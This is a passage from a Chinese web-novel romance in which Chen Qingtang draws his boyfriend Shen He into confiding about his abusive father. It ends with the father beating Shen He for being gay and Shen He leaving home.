那双眼从心疼、满含爱意,变得淡漠平和,看不出情绪。 这样的落差感,让沈鹤都有点回不过神来,张了张嘴想说什么,最终还是把话咽了下去。 陈清棠打了个哈欠,懒懒地:“我看会儿漫画,你要是想挂视频就挂。” 他从旁边拿过一本漫画书,就这么侧对着镜头,旁若无人地看起来。 沈鹤没出声,只是直勾勾地盯着屏幕。 眼神逐渐从平静,到漾起一丝不甘。 陈清棠越是表现得不怎么在意他,沈鹤越是握紧双手,心头弥漫起不甘。 落差感甚至让沈鹤有几分难以扼制的烦躁,让他想穿透屏幕,把陈清棠的漫画书抢走,然后…… 把人狠狠压在他身下,只能看着他,只能看着他一个人 再狠狠亲他,亲得他喘不过气,连分心都做不到。 陈清棠翻了几页漫画后,佯装不经意地抬头。 对上沈鹤那双阴沉沉的眸子,他故作惊讶: “怎么了?一脸要吃人的表情?我惹到你了?” 在挑弄对方情绪这一点上,没有人能强得过陈清棠,一切都在他的掌控中。 沈鹤压着眼底的情绪:“没。” 陈清棠:“真的没?有什么就说,如果真没什么,那我接着看漫画了?” 他装作要把目光从屏幕上挪开的样子。 咔嚓一声,沈鹤掰响了手指骨节:“有。” 陈清棠微不可见地勾起一个笑:“那你说说。” 沈鹤轻吸一口气:“为什么你不多问问我发生了什么事,脸上的伤怎么来的。” 陈清棠无奈:“但你不会说啊。” 沈鹤一噎:“万一我说了呢。” 陈清棠:“可你不会说呀。” 沈鹤不停地掰着手指:“那你就不想知道吗,你对我没有探究欲吗。” 陈清棠漫不经心地撑着脑袋:“我起先不问了一句吗,还不够吗。” “敲不开的门就不要一直敲啊,这种没有边界感的事不太礼貌。” 沈鹤额角的青筋鼓动一下,死死盯着他:“爱情就是入室抢窃,我不要你对我礼貌。” 陈清棠嘴角漾开一点笑:“沈鹤,你在闹什么脾气。” 沈鹤一怔,这才意识到自己情绪的失控。 他蹙了下眉,把所有焦躁压下去:“抱歉。” 陈清棠掀起眼皮:“我也不要你道歉,我就想知道,你到底在闹什么脾气。” 沈鹤凝视他好几秒:“你真的不知道吗。” 陈清棠一脸无辜:“你想要怎样呢,得你自己说。沈鹤,我又不是你肚子里的蛔虫,我做不到时时刻刻精准地去揣测你的想法,这样我会很累。” “沈鹤,你必须学会自己表达。” 沈鹤静默片刻,深吸一口气:“我想……想要你关心我。” 陈清棠眉眼绽开一个得逞的笑:“啊……这样啊。” 开了一个口子后,后面的话似乎就不那么难以出口了,开闸的情绪也再难止得住。 沈鹤攥紧双手,胸膛变得起伏:“我想要你心疼我,爱我,怜惜我,用之前那种温柔的眼神看我。” 陈清棠眼底的笑愈发浓烈了。 呀,这个人真是会撒娇呢。 没想到还是一个天赋型选手。 陈清棠:“我刚才不是心疼过你吗,我还哄你了呢。” 沈鹤眸色沉沉,侵略性逐渐外放:“不够,我想要你更关心我,更心疼我,更爱我一些。” 陈清棠面色为难:“但是,我做不到呢……” 沈鹤的脸色变得有点难看,指关节都用力到泛白。 陈清棠瞥了他一眼,话锋一转:“而且你不告诉我,到底为什么受伤,让我觉得,你好像并不那么想要我的关心和心疼。” 沈鹤急切:“我没有。” 陈清棠自顾自地继续说:“也让我觉得,你对我有所保留,我们的距离好远……我很不开心,所以我没办法更多的心疼你,更多的爱你……” 沈鹤整个人都变得僵硬,脸都有点发白了,看着怪可怜的: “我不是故意对你有所保留,因为那并不是什么很好的事。” 两人之间变得安静,沉默在蔓延 陈清棠逐渐收起看戏似的表情,片刻后他正色道:“沈鹤,你要学会来依靠我。” “我是你的恋人,哪怕是不好的事,也理所应当地该帮你分担,就算帮不上忙,起码可以分担你的坏情绪。” “这样我们才是跟彼此站在一起的,才是亲密无间的,我们的感情才能更深刻。” 沈鹤的脸逐渐缓过血色来,但他还是沉默着没说话。 陈清棠一步步引导:“其实你也看到自己的问题了,对吗。” 沈鹤抬眼看他,很缓慢地点了点头:“抱歉,这么多年,我已经习惯了这样。” “所以我暂时做不到……” 就像常年没开口说过话的哑巴,有天就算哑巴忽然发现自己能说话了,那他也会羞于在人前发出声音。 这是一种深刻的不自信,并不那么容易克服。 沈鹤也是一样,他从小受过太多父母的打压,内心已经对亲密关系失望。 这导致沈鹤无法相信,有人会愿意承接住他破碎的情绪。 也无法相信,有人会喜欢不完美的他,会喜欢在那个家里,那样不堪的他。 陈清棠语气变得温和:“没关系的宝贝儿,这不是你的错,你不需要感到抱歉。” 沈鹤忽然觉得眼眶发热,他很难形容此刻的心情。 酸涩难忍,好像吃了一整颗没熟的柠檬。 又那样柔软暖和,让人贪恋,舍不得放手。 好像这二十来年的委屈和痛苦,在这一瞬,被人全部承接住了。 陈清棠一字一句都很认真:“但你必须要克服,如果没有迈出那一步的勇气,那没有谁能拯救得了你,你永远都无法跟人建立正常的亲密关系。” 他忽然转变话头:“而且……你不想我们之间的联系更深吗,不想我们的心,靠得更近吗。” “不想……看我更爱你吗。” 沈鹤瞳孔微颤:“想。” 陈清棠温柔又蛊惑地笑着:“那就迈过这一步,自己来拿我的爱吧,宝贝儿……” 第65章第65章你要掉马?! 沈鹤目光灼灼地看着陈清棠,看了很久后,他忽然猛地站起身。 是的,如今他已经看到了自己的问题。 一对不会为人父母的男女,让他没有从那个家里得到过温情和爱,让他没有体会过正常的亲密关系。 沈鹤心里对父母是有过怨的 就在沈母跟他说‘我是你的妈妈,你要来依靠我’的时候,那份潜藏在他心底多年的怨,彻底被牵扯了出来。 为什么在他长大成人,已经不需要母爱的时候,才来给予他母爱。 为什么在他已经对亲子关系完全失望,已经封闭了自我后,才来告诉他,可以依靠妈妈。 但又一想,沈父沈母不会爱人,说明他们从小也没得到过正常的爱。 沈鹤又释怀了。 起码他现在有了陈清棠,起码他拥有了一个人的爱。 看着陈清棠那双平和又温柔地望着自己的眸子,沈鹤心口有什么在汹涌的躁动。 有个声音在他脑子里回响——是时候了。 网上有句话,‘拧巴的人,需要一个耐心的爱人’,沈鹤不太喜欢这句话。 这就跟说,‘爱家暴的人,需要一个打不死的爱人’一样。 拧巴的人,既然看到了自己拧巴,那就应该积极地改变。 而不是毫不作为,继续拧巴,坐享爱人对他们付出更多的爱和耐心 爱人有耐心,那是拧巴的人命好,遇上了一个这么好的人。 但并不是爱人天生就欠你的,该来忍受你口不对心的拧巴,忍受你一次又一次伤人地把人推开。 就像知道自己病了,那就要努力配合治病,而不是放任自己发病,来折磨医生和周围亲近的人。 不要用爱,去绑架任何人,他是爱你,但他不是欠你。 沈鹤明白,陈清棠已经对他付出了很多耐心,既然现在他看到了自己的问题,就应该积极去解决。 所以,是时候了,眼下就是很好的时机。 如果无法迈出这一步,就只能被困在原生家庭造成的阴影里,被困在过去。 如果迈出这一步,就算不能一下脱胎换骨,也是走在新生的路上。 他必须学会,如何建立正确的亲密关系,如何去爱人。 他渴望陈清棠更爱他,渴望两人更亲密无间,灵魂更紧密地纠缠、交融,渴望跟陈清棠拥有更深的羁绊…… 他必须亲手打破困住自己的茧 沈鹤深吸一口气,坐回了原位:“好。” 陈清棠眼底浮动着柔软的笑,带着几分鼓励:“慢慢来,你能说多少就说多少,我们今天能开个头就很不错了。” “这个过程,或许你会觉得,很羞耻很难受,很难堪,甚至自我厌恶,但没关系的宝贝儿,这都是正常的。” 没有人在剖开自己伤疤的时候,能做到完全平静,无动于衷,但只有把陈年的腐肉给挖出来,伤口才能彻底好。 陈清棠:“你只要记住,我爱你。” 沈鹤双手缓缓攥成拳头,喉结蠕动:“我的脸是被我父亲打的,还是因为转专业的事。” 陈清棠点头回应:“嗯。然后呢。” 沈鹤:“他组了个饭局,请了我们学校商学院的院长,还有计算机学院的院长,想私下里走关系,让他们把我的专业转回去。” 陈清棠:“那他成功了吗。” 沈鹤:“没有,两个院长让我父亲把我叫了过去,当面问了我的意思,然后拒绝了我的父亲,回家后,我父亲很生气,就甩了我一巴掌。” 陈清棠:“难堪吗。” 沈鹤怔了下。 陈清棠温柔道:“你去餐厅后,推开门看见学校的两个院长在那儿坐着,是不是觉得难堪了。” 沈鹤脸色一瞬变了,他眼睫微颤,最终艰涩地承认了:“嗯。” 虽然只是很微小的一点情绪,这些年沈鹤都习惯了,但当时他确实感受到了难堪。 从小到大,沈父总是这样,越过他直接跟他的老师联系,越过他直接跟他的朋友联系,这种行为没有任何一个孩子,不会觉得难堪。 沈鹤:“让我想起初中时,我交了一个朋友,对方人很好,我这么木的人,他也愿意什么事都跟我一起。” “父亲知道后,先是调查了他的家庭背景,然后告诉我,这个人家里只是普通的工薪阶层,以后对我,对沈家,没什么助益……” 陈清棠心情很复杂:“再然后呢。” 沈鹤:“父亲让我跟他断交,我不愿意,于是父亲越过我,直接找上了对方的家长,去敲打他们。” 陈清棠:“当时你在场?” 沈鹤点头:“嗯。父亲是临时把我叫过去的,然后当着我的面,高高在上地批评我朋友的父母,让他们管好自己的儿子,不要想着能从我身上、从沈家身上得到什么。” 陈清棠:“然后呢?” 沈鹤张了张嘴,喉咙却仿佛被卡住了般,怎么都说不出话。 陈清棠柔声鼓励道:“没关系的宝贝儿,我爱你。” 那样温柔的语气,那样虔诚的三个字,仿佛一朵清甜的云,把沈鹤的心脏细密地包裹了起来。 帮他抵抗住了那些难堪,那些自我厌恶,那些恶心翻涌的情绪。 沈鹤眸子闪动了下,仿佛又被注入了新的动力。 胸口的窒息让沈鹤深吸了一口气,这才继续说:“我到现在都忘不了,我朋友的父母,当时尴尬,受伤,又难堪至极的表情,以及我朋友愤怒地看向我的眼神……” “他厌恶了我。我也厌恶了自己。” 陈清棠心疼得不知道说什么才好:“这不是你的错,你厌恶的也不是自己,你厌恶的是你父亲的作为,是面对你父亲时,无能为力的你。” “你父亲的专制强权让你觉得,你很弱小,很不堪、很无力,所以你讨厌自己,同时也认为,没有人会喜欢这样的你。” 沈鹤眼眶通红,忍着心头翻涌的羞耻感和厌恶感,咬着牙承认了:“是。” 陈清棠看着他,眸光平和:“可是我爱你。” 这一瞬,沈鹤耳边叮的一声长音后,变得安静。 宛如从万米高空坠落,最后却跌入了一个温柔的怀抱。 沈鹤的眸子剧烈颤动,唇瓣蠕动着,最终却没发出声。 陈清棠:“你并不弱小,你也不是反抗不了你的父亲,你只是心里的道德感太高,把自己束缚住了,而且……” “你还在爱你的父亲,因为爱,所以无法做出让他很伤心的事。” 偷偷转专业,已经是沈鹤的极限了 换了陈清棠,他保管回家先大闹一场,气死父母 再明目张胆地转专业,如果沈父让他的专业转不成,他就破罐破摔,闹得全家都不安宁 如果学校院长被收买,不给他转专业,他就上报教育局,揭发院长贪污受贿,谁也别想好过。 而沈鹤看似在叛逆,实际上却仍然选了一条不那么伤父母心的路。 沈鹤的道德感,就像是把他捆住的绳索,让他半点都挣脱不了。 虽然沈父的所作所为不值得被敬爱,但沈鹤的内心,还是潜意识遵从着为人子女的本能,在爱着他的父亲。 并不是所有父母都爱孩子的。 父母生下孩子,只是因为他们需要孩子,而不是他们爱孩子,或者孩子需要他们。 只有孩子,才是天生就爱父母的。 很多有道德感的孩子,就是因为这份天生的爱,被父母、被道德捆绑住,痛苦半生。 沈鹤显然是个典型例子。 陈清棠看着沈鹤第一次,在他面前露出痛苦的表情,他不再往下说,而是转头安抚: “好了不说了,沈哥你只要记住,我爱你。” 陈清棠希望沈鹤,能因为被爱,缓解一点自我厌恶,缓解一点痛苦。 沈鹤双手捂住脸,盖住自己丑陋的表情:“即便我很不堪……” 陈清棠:“嗯,即便你很不堪,我也爱你。” 沈鹤维持着这个僵硬的姿势,很久都没动。 但陈清棠隔着屏幕能感受到,他整个人在逐渐变得平和。 陈清棠转移话题:“今天做得很好,想要什么奖励?” 沈鹤没说话。 陈清棠耐心地缓和着气氛:“这次的奖励比较特别,要不留到下次见面再给?” 沈鹤忽然抬头看他:“不要别的,可以给我讲讲你的事吗,我想更了解你。” 沈鹤想起了他从心理学的书上看来的那些理论,想起陈清棠因为原生家庭造成的创伤 只有先好好了解,陈清棠生活在怎样的一个家庭里,才能够对症下药,治愈陈清棠的伤疤。 陈清棠:“比如?” 沈鹤的情绪处理能力很强大,转眼间,他已经完全平静了:“比如你的家庭,你过去的那段恋情。” 陈清棠掀起眼皮:“啊,那可能还不行。” 要现在就满足了沈鹤,那沈鹤还有什么前进的动力呢? 沈鹤:“为什么。” 陈清棠手指在屏幕上,沈鹤唇边的位置点了点:“我说过,要以心换心,你还没做到。” 沈鹤:“我的心全都给你了。” 陈清棠摇头轻笑:“还不够。” 沈鹤执着地追着问:“那要怎样才算够。” 陈清棠轻飘飘地瞥了他一眼:“等你能完全把你家里的事,都跟我讲为止。” 陈清棠并不是对沈鹤的家庭有多感兴趣,只是陈清棠清楚,家庭是沈鹤的伤疤、疮口所在 他真正想要的是,沈鹤能对他袒露伤口和脆弱。 沈鹤脊背一僵,咔嚓一声掰响了手指骨节:“我,还没做好准备。” 那个家庭,沈鹤光是想起都觉得窒息,他还没有勇气把那些都摊开给陈清棠看。 越是爱一个人,越是难以有这样的勇气。 爱让人勇敢,也让人怯懦。 陈清棠:“那就抱歉了,我这个人比较自私,我希望对方向我走来九十九步,直到看到他的坦诚和真挚,我才会主动迈出一步。” 沈鹤语气认真:“我会努力的。” 陈清棠又笑起来:“乖乖……要加油啊,等你能做到那天,我就答应你的求婚。” 沈鹤眸子一瞬亮了,像是看到猎物的狼。 陈清棠找了个很合理的借口:“毕竟,我们订婚的话,就不可避免地要跟你的父母,你的家庭接触,所以我必须先了解情况。” 沈鹤眼里的兴奋都藏不住:“你想跟我订婚?” 陈清棠很自然地说:“如果我答应了你的求婚,但我们都没到法定结婚年龄的,就只能先订婚。” 沈鹤呼吸都变得微促,耳朵开始发红:“好。” 陈清棠:“那,今天就先这样,挂了?” 沈鹤眼神里的留恋和不舍很深重。 陈清棠:“好晚了,该睡觉了。” 沈鹤只能温柔地说:“好。” 在最后挂断前,沈鹤做了一件他自己都觉得羞耻的事。 他趁着陈清棠把手机拿近的瞬间,凑过去飞快在屏幕上吻了下,还说了句:“我爱你,宝贝。” 那声宝贝,是沈鹤学着陈清棠叫他的样子喊出口的。 第一次叫这个称呼,语调都是僵硬的。 沈鹤只是从今天的事里,忽然明白了一个道理: ——如果爱,就要大方的表达出口,对方能从这份爱中,汲取到美好的能量。 刚才那一席谈话中,陈清棠每次大方地说‘我爱你’,沈鹤就感觉,陈清棠整个人都好像在发着光。 陈清棠好美好,比人间的四月天还要美好。 这样美好的陈清棠,对他说着‘我爱你’,沈鹤竟然也开始觉得,他并不那么糟糕。 通话挂断,屏幕变黑一瞬,又很快亮起。 沈鹤失神地望着两人的聊天对话框,脸红了个通透。 如果不是三天后,跟沈父还有一场拉锯战,沈鹤恨不得现在就开车去找陈清棠。 见面的瞬间,他就要把陈清棠紧紧抱在怀里,不停地亲吻他,从眉眼亲吻到嘴唇,再到耳朵 告诉他自己有多想他…… 又想起陈清棠说订婚的事 沈鹤的心跳到现在都无法平静。 订婚…… 订了婚,陈清棠就彻底是他的了 他们会组成一个新的家庭,往后携手共度一生 陈清棠的这辈子,都是他的了。 以后每天晚上,都能搂着陈清棠睡觉,而不是搂着一些从陈清棠那里拿来的,冷冰冰的物品 以后每天早上,一睁眼就能看到陈清棠恬静的睡脸 还能伸手触摸到陈清棠白皙的肌肤,顺便在他脸上落下一个早安吻 …… 沈鹤猛地站起身,难忍激动地在屋里快步走了两圈。 只要他能把家里的事,对陈清棠完全说出口 只要…… 沈鹤热烈的一颗心,几乎在这几秒间,就被冷水浇透 真的有人能接受,他这样窒息的家庭吗 很久后,沈鹤重新坐回床边,他把脸埋在手心,背驼成了一座山。 但是,今天已经成功跨出第一步了 不能前功尽弃 沈鹤忽然拿起手机,在微信的联系人里翻了好久 最后点开了除了陈清棠外,第二个跟他最亲近的人——魏彦 魏彦虽然缺根筋,性格大大咧咧的,但实际上他很好,他不会嘲笑和歧视任何人的伤口。 如果是魏彦,沈鹤不会太过难以启齿。 沈鹤:在吗 魏彦:说多少遍了,不出意外,未来几十年我都是在的 魏彦:沈哥你有事儿就直说呗 沈鹤趁着这股未消退的劲儿,飞快打字:我家庭很惨,爸妈并不爱我,他们把我当成一个工具 沈鹤:我只是看起来很风光,但金玉其外败絮其中 沈鹤:从小我妈就没抱过我,我爸经常对我拳打脚踢 沈鹤:有时候气急了,直接抬脚就踹,根本不把我当人 沈鹤:我不被允许有自己的意愿,一切都要听从父亲的安排,我就像一个傀儡 魏彦:…… 打这段字的时候,沈鹤的手都在抖,他难以缓解那种自我厌恶感 说到一半,就再也说不下去。 消息发出去后,沈鹤深呼吸,从被窝里拖出一件外套 那是陈清棠的衣服 沈鹤一只手捧着衣服,猛地凑近鼻尖,深深地嗅着上面陈清棠的气息,胸膛不住地起伏。 魏彦小心翼翼:沈哥你咋了? 沈鹤:没 沈鹤只是试着,对魏彦先练习下,看能不能说出口。 想着,先对别人说,打破心里的那道枷锁,或许对陈清棠就容易出口了。 结果话出口后,沈鹤才发现,这不是他要对陈清棠坦白,他的家庭是怎样的问题。 而是,他要对陈清棠,剖开自己的伤疤,袒露自己所有的脆弱和不堪的问题。 这太难了。 如果陈清棠看到,他在家里随时随地,会被沈父像对待一条狗一样,忽然暴起殴打…… 陈清棠会喜欢被一脚踹飞的他吗。 那样没有一点光环的他 沈鹤相信陈清棠爱他 但沈鹤不清楚,陈清棠对他的爱,有没有深到,在摒弃他所有的光环,看到暗淡不堪的他后,还能保持 不清楚这份爱,有没有深到可以包容他的一切 魏彦:不是沈哥,你这么困难啊,对不起啊,我以后再也不在吃穿上占你便宜了呜呜呜呜呜呜呜呜呜呜呜呜 魏彦:我再也不厚着脸皮刷你的校园卡了,再也不白白顺走你的名牌衣服了呜呜呜 原来这些优渥的物质条件,是沈鹤承受了那么多才换来的。 魏彦:你也不跟哥们儿说呜呜呜呜呜 魏彦:是不是家里出事儿了??要不你来我家里住两天儿?我爸妈都不在,家里就我一个人,很自由的 很久后,沈鹤才重新拿过手机:没有 顿了下又说:谢谢 魏彦:真的没事儿?有事儿一定跟哥们儿说啊,千万别见外 沈鹤最后回了个嗯字,魏彦又絮絮叨叨打了很长一串字,但沈鹤没有心情再回了。 要怎样,要怎样才能让陈清棠更爱他 如果陈清棠能更爱他一点,或许他就能…… — 第二天楚希来陈清棠家里玩儿,看他在收拾行李。 楚希就问了他:“棠你要出远门啊?” 陈清棠一边把干净的衬衫叠好,放进小型行李箱,一边说:“去见男朋友啊,跟沈鹤好多天都没见面了。” 楚希:“诶他咋不来找你?” 陈清棠想都不用想:“家里有事绊住了吧。” 昨天听沈鹤讲了一些关于沈父的事,陈清棠几乎就清楚了,沈父是那种不达目的不罢休的人。 所以父子俩应该现在,还在因为转专业的事僵持着,沈鹤走不开。 感情都是互相的,既然沈鹤来不了他这边,那陈清棠就去沈鹤那边呗。 楚希忽然想了下,兴奋到:“诶我跟你一起去吧!” 陈清棠:“??去当电灯泡?” 楚希啧了声:“不是,你上回不跟我出了个主意,说让我组个局,让周辰看到我众星捧月的样子,刺激他跟我告白,确认名分咩?” 陈清棠:“你组好局了?” 楚希小鸡啄米:“好早前就叫好人了,这不周辰那边忙着跟老师一起做项目,他抽不出空咩,这两天他刚好完事儿。” “刚好他也在城北,沈鹤也在城北,那咱就都去城北组局呗,城北那边比咱城南还要繁华些。” 陈清棠手下动作没停:“可以。那你回去收拾东西,我们明天走。” 楚希摆手:“哎呀晚上再回去收拾,不急。” 陈清棠:“随你。” 楚希趴在他的床上,趁着脑袋看他前后忙碌,随口问了句:“你跟沈鹤咋样了?” 陈清棠顿了下,表情变得温柔:“这次过去后,应该不久我们就会订婚。” 楚希惊得一个鲤鱼打挺:“卧槽,这么快?!他已经达到你的要求了?” 他记得陈清棠对爱情的标准还挺高的。 一般人谈恋爱就是一起约会,玩儿的开心,性格合得来,适合过日子,这样就好。 但陈清棠追求灵魂相融,精神相爱,挺高级那种的爱,很少有人能达到。 现实里十对情侣中,能找出一两对就很不错了。 陈清棠:“还没有,但快了,还差最后一步。” 楚希忍不住问:“所以你这次过去,就是去完成这最后一步的?” 陈清棠把手里的东西放一旁,坐下来歇息:“嗯。可以这么说。” 楚希伸了个脑袋过去:“最后一步是什么?” 陈清棠想起之前跟沈鹤谈话时,沈鹤的反应和表情:“他现在就是对这份爱不确信,对我也不确信。” 其实核心是,沈鹤对自己不确信,他不认为自己值得被陈清棠深刻地爱着。 陈清棠:“我能做的最后一步,就是让他看到、感受到,我很爱他,比他想象中更爱他。” 以此来推动沈鹤,迈出最后的一步。 或许这一步进行完后,沈鹤还是无法对陈清棠坦白,自己满是疮痍的过去。 但沈鹤的心,会彻底打开。 从此后,他们两个人的心是连在一起的。 绝不会再像上辈子那样,虽然相爱,但心意不通,导致了最后的悲惨结局。 楚希来了兴趣:“那你要怎么做?” 如果只是口头说‘我爱你’,那也太浅薄了,对方大概感受不到比想象中更重的爱。 陈清棠勾起一个笑:“你是不是忘了我还有个马甲?” 楚希反应了会儿,猛一拍床:“啊!就抖因上那个【海棠花】的马甲,你用来钓沈鹤的那个账号?” 陈清棠:“嗯。” 楚希后知后觉:“所以你要掉马?!” “把你对他的处心积虑,蓄谋已久,步步引诱,都摊开给他看?!” 陈清棠笑而不语。 第66章第66章我们做得热烈一些好吗…… 时隔好几天,沈鹤再次私信了那个ID名为【我会一直盯着你】的博主。 沈鹤:您好,上次的方法很有用 沈鹤:请问还有没有什么办法,能让对方更爱我 博主:你走火入魔了?感情这种事很需要循序渐进,感觉你太着急了 博主:一口是吃不成胖子的 沈鹤静默几秒:我知道,但我不想等 博主:好吧,再教你一个,你可以色。诱啊 沈鹤一顿:我色。诱过了,每次去见他,跟他视频,我都会打扮 前二十年,沈鹤从来没在意过,自己的发型好不好看,衣服搭配帅不帅气。 从谈恋爱以来,不开花的铁树沈鹤,也学会了在意自己的形象。 博主:NO,**是投其所好,XP知道吗 沈鹤:不太懂 博主给他大概解释了下 然后才继续说:你要先摸清他的XP,比如他在性。爱里,是喜欢占主导权,还是喜欢让你占主导权 博主:如果他喜欢占主导,你就把自己脱光,然后绑了送给他玩儿,他会高兴的 沈鹤看着这行字瞳孔紧缩,浑身都变得僵硬,脸一点点漫上血红。 他的手指落下又抬起,起起落落反复好多次,才一个键一个键机械地敲出一句话。 沈鹤:这,这不对 博主:[摊手]哪里不对 沈鹤的脸越来越烫,他闭了闭眼,却没说出话来。 博主:小情侣的情趣而已,不要觉得丢脸或者羞耻 博主:能让对方开心,还能让对方更爱你,为什么不去做呢? 沈鹤一把将手机反扣在床上,脸上的热度久久不退。 不知过了多久,客厅忽然响起一声暴呵:“沈鹤!出来!” 是沈父在叫他。 嗓音里的愤怒穿透力十足。 又是一场可以预见的剧烈暴风雨。 沈鹤没什么表情地站起身,淡然地出了卧室。 拉开卧室的门,一眼就能看见沈父人高马大地立在客厅正中。 精贵的西装外套已经脱了,深蓝色的衬衫包裹着沈父那身锻炼良好的肌肉,两只手的袖口都已经撩到了手肘处,领口扣子崩开两颗,领带也被扯得松松垮垮地挂在脖子上。 这种情况,一般就是沈父要下狠手了,他浑身上下都写着‘心情不佳’四个字。 沈鹤在离沈父半米远的位置站住脚,安静地等着。 沈父拿掉高架在鼻梁上的眼镜,捏了捏眼角:“跪下。” 沈鹤像个收到指令的机器人一般,依言跪下。 这时沈母从卧室里出来,看见这情形禁不住皱眉:“又怎么了。” 沈父冷厉道:“你该问问他怎么了,真是翅膀硬了长本事了。” 沈母在沙发上坐下:“如果是转专业的事,你就由着他吧,也不是什么大事。” 沈父胸膛起伏:“不是什么大事?他都能瞒着父母,自己偷偷去转专业了,这还不是大事?” “他把他老子和妈放在眼里了吗?主意大得都能上天了。回头他把沈家卖了,我还蒙在鼓里不知道呢!” 沈母情绪始终平和,不咸不淡地:“要是你实在接受不了,那就让他修双学位,我们家又不缺这点钱。” 沈父一抹他的背头:“我说的是这个问题吗?算了跟你说不到一块儿。” 这夫妻俩面和心不和,已经是很多年的事了,当年本来就是家族联姻,没什么感情的。 要不是家里催得紧,他们连跟对方生个孩子,都觉得恶心。 后来孩子造出来了,夫妻俩都当是给家里交差了,完成了自己在这段婚姻里的使命。 然后不约而同地开始追求自由,享受人生,完全不管这个孩子。 由于两人对彼此都没有爱,甚至有点厌恶,自然对这个孩子也没什么爱。 他们不把对对方的厌恶,转移到孩子身上,就已经很不错了。 两个互相都不了解的人,遇到问题时,总是看到一处去。 所以沈母此刻理解不了,沈父为什么这么生气:“有什么事好好说,先让他起来。” 沈母:“他都这么大了,你罚跪伤孩子自尊,小心你老了他拔你氧气管。” 沈父:“他敢!” 沈母耸耸肩,拿过茶几上的一个橘子开始剥皮:“敢不敢你老了就知道了。” 沈父本来就很气,沈母在这中间一搅合,更是给他气得天灵盖儿都要掀起来了:“我懒得跟你说。” 他转身面对着沈鹤,山一样立在跪着的沈鹤跟前:“你知道错了吗。” 沈鹤不吭声。 他从来都无法说违心的话,也无法撒谎。 所以沈鹤的沉默,本就是一个回答。 沈父点点头,转身在屋里绕了一圈,再回到沈鹤面前时,他手里多了一个铁的衣架:“衣服脱了。” 沈鹤抬起手解扣子。 沈母吃着清甜的橘子,啧了声:“都让你别打他了。” 沈父拿衣架指着沈母:“好好,你还看戏,你知道这个畜生背后干了什么事儿吗?” 沈母:“转个专业,也不是什么大事。他想转你就让他转嘛。” 沈父气得用衣架狠狠在桌上敲了几下:“要只是转专业的事,我还用不着这么打他,累着我自己。” 沈父对沈鹤说:“你自己交代,你到底还隐瞒了什么,不然我今天打死你。” 沈鹤已经把衣服脱了,露出光洁白皙的皮肤,挺直腰杆跪在那里。 听到这话,沈鹤垂眼想了几秒,却没想明白。 沈母:“所以他还隐瞒了什么?他不一向很听话吗,也就转专业的事犟了一回。” 沈父都快发笑了:“他听话?你知道他干了什么?” “他在外面当同性恋,还谈了个男朋友!这是要让我们沈家绝种啊!” 沈母惊诧地睁大了眼睛,手里的橘子没拿稳,滚落到了沙发底下。 沈鹤也脊背一僵,呼吸都停滞了。 好一会儿,他才用力抬起头:“你,你怎么知道。” 沈父哼哼了两声:“你这就是承认了?” 沈鹤说不出话,心口像压着一座山。 沈父:“那这顿打,你就不会觉得自己是白挨的。给我跪好。” 下一刻,沈鹤感觉到后背一痛,他身子无意识颤动了下。 像是被烧红的烙铁烫了般,痛到仿若有股难以忍受的灼热感。 白皙的皮肤上,很快便浮现出一抹狰狞的红痕。 沈母就坐在旁边的沙发上看着,表情复杂又一言难尽。 出柜是个大事,她也觉得沈鹤很不应该。 沈父打了一会儿后,停下来喘气,额头渗出细密的汗:“圈子里玩儿男人不是什么稀奇的事儿,我就当你是叛逆期,没玩儿过男人所以想尝个鲜……” 刚才被打得皮开肉绽,痛到嘴唇发白,沈鹤都没吭一声,也没有一点反抗。 现在听见沈父言语里对陈清棠的贬低,沈鹤却忽然抬起头直视沈父:“我没想玩儿,我要跟他结婚。” 顿时,沈父一口气差点没上来:“你再说一遍。” “你现在去跟那个人断了,回到沈家,以后婚姻听从我跟你妈的安排,我还可以当做什么都没发生,之前的事也不追究。” 沈鹤只是平静,又如山一般坚定道:“我会跟他结婚。” 沈父深吸一口气,什么都不再说,抡起铁的衣架把他往死里打。 沈鹤的背上条纹斑驳,皮肉模糊,都出血了,看着就吓人。 沈母皱起眉,试图阻止:“好了,你就是把他打死,也解决不了问题。” 她抱住沈父的胳膊,却被沈父一把掀开,差点撞在桌子上。 沈父:“别劝我!从小到大,你什么时候管过他??什么时候教育过他?现在他长大了,你知道来当个便宜妈了?” “既然一开始你就把他甩手给我管,那现在就别来插手!” 沈母脸色很难看,但无法反驳。 沈父继续下死手:“就这么个玩意儿,打死算了!我就当没生!” 全程沈鹤都只是死咬着牙撑着。 沈父打一会儿就会问他,去不去跟陈清棠断了。 沈鹤每次都掷地有声地回答:“不断!” 然后招来更恶毒的打。 眼看这场闹剧就要收不了场的时候,客厅的门开了。 一个满头白发,拄着拐杖,看起来苍老,但身型硬朗矫健的老人走了进来,高声喝止:“好了!别打了!” 沈父停顿了一瞬,皱起眉:“爸,你怎么来了。” 沈爷爷走过来,把他的衣架夺走,一把扔在地上:“我再不来,你就要把人打死了。” 沈父:“爸,你别管这个事,你都不知道,他在外面玩儿男人,说出去我都恶心丢人。” 沈爷爷看了沈鹤一眼,在沙发上坐下:“什么年代了,国家婚姻法都允许同性结婚了,你比我一个老头儿还封建啊?” 沈父咬牙:“不行,我坚决不允许。” 沈鹤忽然摇摇晃晃地从地上站起来:“没关系,要是你没办法接受,以后我就不回这个家了。” 这就是沈鹤孤注一掷的勇气。 在跟陈清棠确认恋人关系的前一晚,沈鹤就想到了会有今日,他一贯做事谨慎,会考虑后果。 只是那时,沈鹤不知道自己能有这么爱陈清棠,当时沈鹤只以为会跟家里闹僵,但只要他妥协了其他事,或许是能得到沈父的同意的。 但如今,沈鹤已经不想再妥协任何事。 而且陈清棠对他来说很重要,重要到他什么都可以不要,他就要陈清棠。 沈爷爷拐杖在地上跺了两下:“哪儿到得了那个地步。你也少说两句。” 沈父手都在抖:“看看,看看这个畜生,好好,你要走就走,滚出去,以后别说是我儿子,别说是沈家的人!” 沈鹤忽然给沈父跪下,对着沈父,还有沈母,各自磕了两个头:“谢谢你们把我养这么大。” “这些年你们对我怎么样,你们自己心里清楚,我对你们来说算什么东西,你们自己也明白。” 说到这里,沈鹤哽咽了下:“我并不想跟家里决裂,也不是为了他跟家里决裂,我是为了我自己,在这个家里,我快活不下去了……” 沈鹤又磕了几个头:“我走了,如果以后你们哪里用得着我,叫我一声,我会回来承担我作为子女的责任,但前提是,你们必须接受他,我会跟他结婚。” 说完这番话,沈鹤没有丝毫犹豫,站起身转身就走了。 门被拉开又关上。 客厅里安静得落针可闻,气氛凝固成了冰块,让人窒息 沈父刚才还气得暴跳如雷,忽然之间就平和了。 沈爷爷瞪着他:“满意了?我就说你一直这样逼他不行,你非得把孩子逼死?” 